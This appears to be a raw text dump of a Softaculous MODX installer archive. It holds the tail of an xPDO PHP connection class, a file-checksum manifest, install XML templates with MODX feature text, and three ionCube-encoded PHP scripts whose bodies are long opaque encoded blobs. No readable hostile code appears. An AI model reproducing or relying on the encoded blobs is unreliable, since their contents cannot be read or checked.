(!isset($options[xPDO::OPT_TABLE_PREFIX])) $options[xPDO::OPT_TABLE_PREFIX]= ''; $this->config= array_merge($options, xPDO::parseDSN($dsn)); $this->config['dsn']= $dsn; $this->config['username']= $username; $this->config['password']= $password; $driverOptions = is_array($driverOptions) ? $driverOptions : array(); if (array_key_exists('driverOptions', $this->config) && is_array($this->config['driverOptions'])) { $driverOptions = array_merge($this->config['driverOptions'], $driverOptions); } $this->config['driverOptions']= $driverOptions; if (array_key_exists(xPDO::OPT_CONN_MUTABLE, $this->config)) { $this->_mutable= (boolean) $this->config[xPDO::OPT_CONN_MUTABLE]; } } /** * Indicates if the connection can be written to, e.g. INSERT/UPDATE/DELETE. * * @return bool True if the connection can be written to. */ public function isMutable() { return $this->_mutable; } /** * Actually make a connection for this instance via PDO. * * @param array $driverOptions An array of PDO driver options for the connection. * @return bool True if a successful connection is made. */ public function connect($driverOptions = array()) { if ($this->pdo === null) { if (is_array($driverOptions) && !empty($driverOptions)) { $this->config['driverOptions']= array_merge($this->config['driverOptions'], $driverOptions); } try { $this->pdo= new PDO($this->config['dsn'], $this->config['username'], $this->config['password'], $this->config['driverOptions']); } catch (PDOException $xe) { $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, $xe->getMessage(), '', __METHOD__, __FILE__, __LINE__); return false; } catch (Exception $e) { $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, $e->getMessage(), '', __METHOD__, __FILE__, __LINE__); return false; } $connected= (is_object($this->pdo)); if ($connected) { $connectFile = XPDO_CORE_PATH . 'om/' . $this->config['dbtype'] . '/connect.inc.php'; if (!empty($this->config['connect_file']) && file_exists($this->config['connect_file'])) { $connectFile = $this->config['connect_file']; } if (file_exists($connectFile)) include ($connectFile); } if (!$connected) { $this->pdo= null; } } $connected= is_object($this->pdo); return $connected; } /** * Get an option set for this xPDOConnection instance. * * @param string $key The option key to get a value for. * @param array|null $options An optional array of options to consider. * @param mixed $default A default value to use if the option is not found. * @return mixed The option value. */ public function getOption($key, $options = null, $default = null) { if (is_array($options)) { $options = array_merge($this->config, $options); } else { $options = $this->config; } return $this->xpdo->getOption($key, $options, $default); } } /** * A basic class for xPDO Exceptions. */ class xPDOException extends Exception {} PKre[# md5nu[a:54:{s:8:"edit.xml";s:32:"883002534bcd3f658fa5b887ac5e9512";s:9:"clone.php";s:32:"0007c9ce4ed42e722e48fbfed03f7f6c";s:10:"import.php";s:32:"b7d1eb2315b2fee909515a7f9b58f862";s:8:"info.xml";s:32:"b0a1533eecf2bdcb021008179ab37c25";s:10:"install.js";s:32:"0fca4740b95e5d5c84f4aa7b5731a272";s:10:"README.txt";s:32:"29baecf2bd0fb6a4c9b2eaaec6885994";s:11:"upgrade.php";s:32:"7b33cc9342e68786a805cb67b6ec3bb1";s:15:"images/logo.gif";s:32:"8d84c5c40f54eef81517c13d84f90162";s:18:"images/drupal8.png";s:32:"98bb81a2b4aa466214991119f187fb48";s:11:"install.xml";s:32:"4cc1d2b539a130e3365151439a16970d";s:9:"_htaccess";s:32:"1c79eba61b05143290a34dc5b12ec7ec";s:12:"settings.php";s:32:"cea95a3597d6da950c351adfe644e963";s:8:"edit.php";s:32:"a14190a3050821a981b0322ec40ba19d";s:11:"install.php";s:32:"d2b706a44467e0c9cb6283bd647e9f46";s:11:"upgrade.xml";s:32:"f3b03491c6e5c252fd392d3baa10b6de";s:10:"extend.php";s:32:"654c242d9c5996dcab49b2893ee8f71c";s:9:".htaccess";s:32:"81fa6f40bdd505df4244128ad30fa163";s:9:"NOTES.txt";s:32:"e5b1b8eb4d94633a731a6d50605b981f";s:11:"drupal8.sql";s:32:"0f06790263c6227be6128b8b2e68c8c1";s:13:"fileindex.php";s:32:"b2dd9ff4efd8a7606589a5f9a012b2a7";s:11:"drupal8.zip";s:32:"81f239ac3bdcaedb40620258830d921e";s:15:"update_pass.php";s:32:"8a2c9785cb0075900e3bd469badcdcb9";s:12:"drupal10.sql";s:32:"8eb6206c6292b4c9ccc0d275f71ed843";s:19:"images/drupal10.png";s:32:"98bb81a2b4aa466214991119f187fb48";s:12:"drupal10.zip";s:32:"213278baa1a549b863fa2308ff5653c7";s:9:"notes.txt";s:32:"e004ce1051f9871b2d2eb34c658057b8";s:21:"images/phpbb_logo.gif";s:32:"f386aaff2f5aec5258d49a2ee020504a";s:16:"images/phpbb.png";s:32:"cf4236773e590260d56af18400c1004a";s:9:"phpbb.sql";s:32:"d4f8019d6b9c1f0551bfa205909abaf7";s:10:"config.php";s:32:"761dbed57c5035811c7736310982d5b6";s:9:"phpbb.zip";s:32:"69c5b411da99a8aa904af2e8f0be6ea2";s:16:"languages/es.zip";s:32:"76effaf96cad6999dcb280c5b0425244";s:16:"languages/fa.zip";s:32:"5cef013c0168b3dc99a6cc402998eaa6";s:22:"languages/de_x_sie.zip";s:32:"2ae1d3ee36aae86427de93e3102e3cba";s:16:"languages/ar.zip";s:32:"a2e7c90d135f03e1454ed8731921f7e0";s:16:"languages/fr.zip";s:32:"86ca4dd10356e45d9d18394e56cc1054";s:16:"languages/ru.zip";s:32:"0b3ec60920384a5d64c7b726df0658a3";s:16:"languages/pl.zip";s:32:"d7e7ff1dcc5af09ce3c8e03561455e31";s:16:"languages/el.zip";s:32:"f4ba96e1fb2d2bf557e43905286535e4";s:16:"languages/nl.zip";s:32:"425f2f7194b5bd0ab16d3ebb2d171c45";s:16:"languages/pt.zip";s:32:"d247e967cba276cd46014639c0fbe596";s:16:"languages/it.zip";s:32:"4eef930a227c95aba89cacf655c38028";s:21:"languages/es_x_tu.zip";s:32:"b9172b2c1d19f331fa1af36c5c3b91bd";s:12:"io_lock.lock";s:32:"444bcb3a3fcf8389296c49467f27e1d6";s:13:"changelog.txt";s:32:"97c9247d5d34bde754cc981880755445";s:8:"modx.zip";s:32:"1fafb745769f34ad70e1b7d2b13d9ab5";s:20:"modhashing.class.php";s:32:"3ccdf5948853f2eed69216022165ea4c";s:19:"modpbkdf2.class.php";s:32:"37e4a87fb24ae30224109823a643b8aa";s:15:"images/modx.png";s:32:"350085c4e88c321146f33463c81b2d53";s:15:"images/logo.png";s:32:"b416d02ad61e120e30555ee27eef9fc3";s:8:"modx.sql";s:32:"8c69b20439ab41dbdbad36301cba24ec";s:15:"config.core.php";s:32:"e7ac8cf59cd27d96622291f149502f41";s:14:"xpdo.class.php";s:32:"d8d2fdee8e9d7a783f413c57d399bf94";s:14:"config.inc.php";s:32:"cd687a7785c2f41ecb8daf589f514f19";}PKre[  info.xmlnu[ {{overview}} {{features}} http://www.softaculous.com/demos/MODX http://www.softaculous.com/softwares/cms/MODX 61501007 http://modxcms.com/ 3.1.2-pl 84 02-04-2025 manager 2.8.0 4.5.4 MODX helps you take control of your online content. An Open Source PHP application framework, it frees you to build sites exactly how you want and make them 100% yours. Zero restrictions and fast to build. Super-simple templates in regular HTML/CSS/JS (any lib you want). Registered user systems and a killer community. Welcome to web-building nirvana.

MODX is released under the GNU/GPL license.
For Site Owners & Companies

Safe & Secure

Boardroom Friendly

Total Creative Freedom

Unparalleled Search Engine Optimization (SEO)

Install Add-ons from Within the App

New Manager with Built-in Customization

Enterprise-class Security, User Model & Authentication

Fluent in i18n and l10n



For Site Admins & Geeks

Object-Oriented Core & API

Contexts

Caching that Scales

Content Filtering

Content Parser with Partial Page Caching

Extend without Resorting to Hacks

Custom Everything

Override Everything

Native JSON & Message Queue

Core Logging

New password. Leave blank if you do not want to reset the password Please provide the username to reset the password The Admin username is incorrect and does not exist! Could not encrypt admin password because the domain is not pointing to the correct server
PKre[BI11 install.xmlnu[ {{site_set}} {{site_name}} {{db_set}} {{db_pre}} true {{ad_act}} {{ad_name}} {{ad_pass}} __ad_pass {{ad_email}} __email_address mysql setup/* setup/*/* setup/*/*/* setup/*/*/*/* PKre[tedit.xmlnu[ {{ad_act}} {{ad_name}} true {{ad_pass}} {{exp_ad_pass}} true PKre[#2%%php81/edit.phpnu[ionCube')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' get-loader.ioncube.com and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' http://ioncu.be/LV ')."\n\n");exit(199); ?> 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PKre[F!Kphp81/upgrade.phpnu[ionCube')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' get-loader.ioncube.com and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' http://ioncu.be/LV ')."\n\n");exit(199); ?> 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 P6zeAmGoJEUfHX2tCJF3sGk6QmsgLqTXhg79z60=PKre[2yffphp81/import.phpnu[ionCube')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' get-loader.ioncube.com and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' http://ioncu.be/LV ')."\n\n");exit(199); ?> HR+cPnLTnGOfeJqfDErG9MK4rFVF50+1o8oiDEAAAjLOW0b1lSOxNpJa09PFKi8M7uzUP+k/rdjL avBmE7MgcpZXimNmKXxfrK9Xn/Lyk5hutcMZ9bBMh5zu+ciYjPeXpHH2NR80/qMB69r/tv4GwNuY 1VRZKIhq9bZJ+cuqTJeTxtR7c1jwKgVHqCoB6+NodpLWmGvrX3wXX9bdvKQUZZfmc4rTx6FIumou wQy60NKm1wp+zcAo87VzctxJ8hPkAEQgLhu7WiWJugWKqN6jbmtaTkmkgQ9LC6gQzitYc7Zk+b+d 6h9RJGEsCtg1AJwbHat1hXZ9h7+o2I0XaXvLT6qhVz34HGW4xgUswNoPZAORK7PB3aTyJfcAX4HB U7e8oG01tUlrB35IUr+3A1/AQ3Wzy2DNa1f34KYFlcCofCXFUiRX7BLjlrxibPQq/35DQH0xnxyz CzdW9j1yQQGz6vnoLtQ/HLtJE5CotIR3fUJQIMrRthjGpQjiFmQXcN183ruITPaTx1BbLypyDxJN BJR8bmv+SgnipwTb/mtECX23naL8ZIpfeGsggwXodz7D0lcT33VwTHJn3cNQsREG7RF8UOSLttrQ Uw3ZJSNpRFupR0+4QwC4ujNDpQhHkooSvWpGSEZNYMH3JbAyNFzPYGkYQ26G+vUDTYtLO6LMQ/dL Q/d51mrs/OnIAAa2XJk6KeOUIfsGa18WQ8YGhrwKOF3YZmEZ5f1A4z5FIdURomwhCnQxm/RB7z62 kXHAUhGsaR2UirsIGL0ALIc1/uwAp9wC3OOalONtcfp6A3C7XSy2POGLHHWtNyfg6yJ2AVls7FoU AlYbgh1UuMn1luWsBE/ue0jfvYq3uGgQes1j9+GY8POXNzrxNgYuJWxu7l03qByD9iKaC8oIbYrQ bYblXSTwBxLwg3r0dcgn4s0T/W3NQGdi62Q6Wgo0BSBmgaidIVaTidnqijFPbEb6BQ99BX6DjjkA jFcJhzvH99H6/rQ5uqYnuKpQ9Y0zAJs/U0SUPWshzO5p1xGApLQmhR0nLqSYgdpJod/zBDTmb0O2 Yrtz7MENR3IkdWzV+xT8fLvIuqTU1/grelpLkz7QJg8KFTRQ7XQIA7sXkaHdOqrJK5xsuH5UYTnm BiWF7SPCXKuD6I1H8O7AaJOwAcnQeQhB2E/fl2lDRWAFgqvw8HyJ99tGwso5Cy1BOeA5DfhRBea0 9oG48XCfZk8dQuKwanNy3zIcomxqsJxEnRqizbuL9ENBU2NOqT96YUXq7+xzLtA/+bE2p5cp89fO Ov44iAq/ivBucTsnvnwHUdnKkkYpAYytQF0AoqJMEahNqldYlMx/4U9ykup7/SxMoXzZTANSK9up hgmmnxdCBhOXbD1mFW/BazTqGmZwupRwXGM7Jvb/fgLTLfuE9PsRInFJIzLeGbY9ZfWcGQxGRK6c MZKwfn1YL/l3rk2cigU1vhZc1OkSlhv9OAujxF4sfMjl+cG+Ib5Mk/y7qo5NrkHri9VD+ZvplLl7 uWJ0jdvsx38CzUUluYIsjjpWzxyaCfYD2YHJzm7T04gr5tKAA+ySRKG5i62m8XG5vysWJ5ufwcrM ng5kYzDrurcSSDfxJFitEle3Xjy9g+Z6GEw7TDZPNOo7iKavx4ubcimnYbWHeEQ9g5mB/5QWzvCR U90l+RNQB9EMFc+N+5zCxat1VRVCH1IZBXx5fUuRQm1PfN9aylj1HNQdPZI5f5jI8bQDyPXgpELJ xoasVF8gyc0XRvGZKb9JBT76xdniP2ijsR0UCvv0L0acNyp59aTsnT+eQW6gTEo0FKDVffhAemgn c8+RNsLg+m2UzLXcRp+tN0sQq/zsgoc9ZF+/6UQxd3enBbr76OusqTuAW1GHveTBSVIgMjX9ZhIA a0Ip/JQKZNKUs2U64adz1idR6hmVfXmG4alitfyn4cL2I2UVgByLdDmZx5sPkLG7ntNfu307rDuR c5XBA3uJcggZXJge+BWCSlFsH5qNt6VMz85RuJtJxs4J4cZPdiRRifs9UljM/+QZs4O0u62HoTdZ MPk2JKFagT1j+VS6MUE+XmvSLaslkJDKeTsDqMiMjiKw8hZjLr6wRulwO5Xji/lBdOJq+xH8e4ld q+57zZAfFvUxlz7jNvRTBAMjAea0EU9Z6/wqp4mCK028EM+yO2Yg9qAPQ92NaGanQbpmagVwMzgS 7TL5Y7MeNxjVeqx4stjAEtSjIFvkcStuiCtpiV43Z0OFFY4A3mHohK7qn/3doeCVZ0jNrgbUStxG ho5r3QRt0jTOP2GozWx51DcJbWCED5dsa6mqUwMkU7jBlkPcP4x1SUjwSAmVJ5ozrI8ciHAUx6K9 hzvcjek6f7mLPkXorGKbj5B/OmwVYd82vWM4tEY5G1RgpvdtIv135zP5DLIcjwvbzVZZYoQn2hL1 HjrA5jhqlTvyylPOC6sml859yEkUpubx5qkse/3Mp11M5clfHokZyvXYnpZ2d+uXPRpNGZCjKtPf y4VPHjge4gIq6SCYQf4gen6705UBVDH8kjVQvSov9ABq6sVBBoCphgJA+M7EA/vFWGjfyr2nhz+h 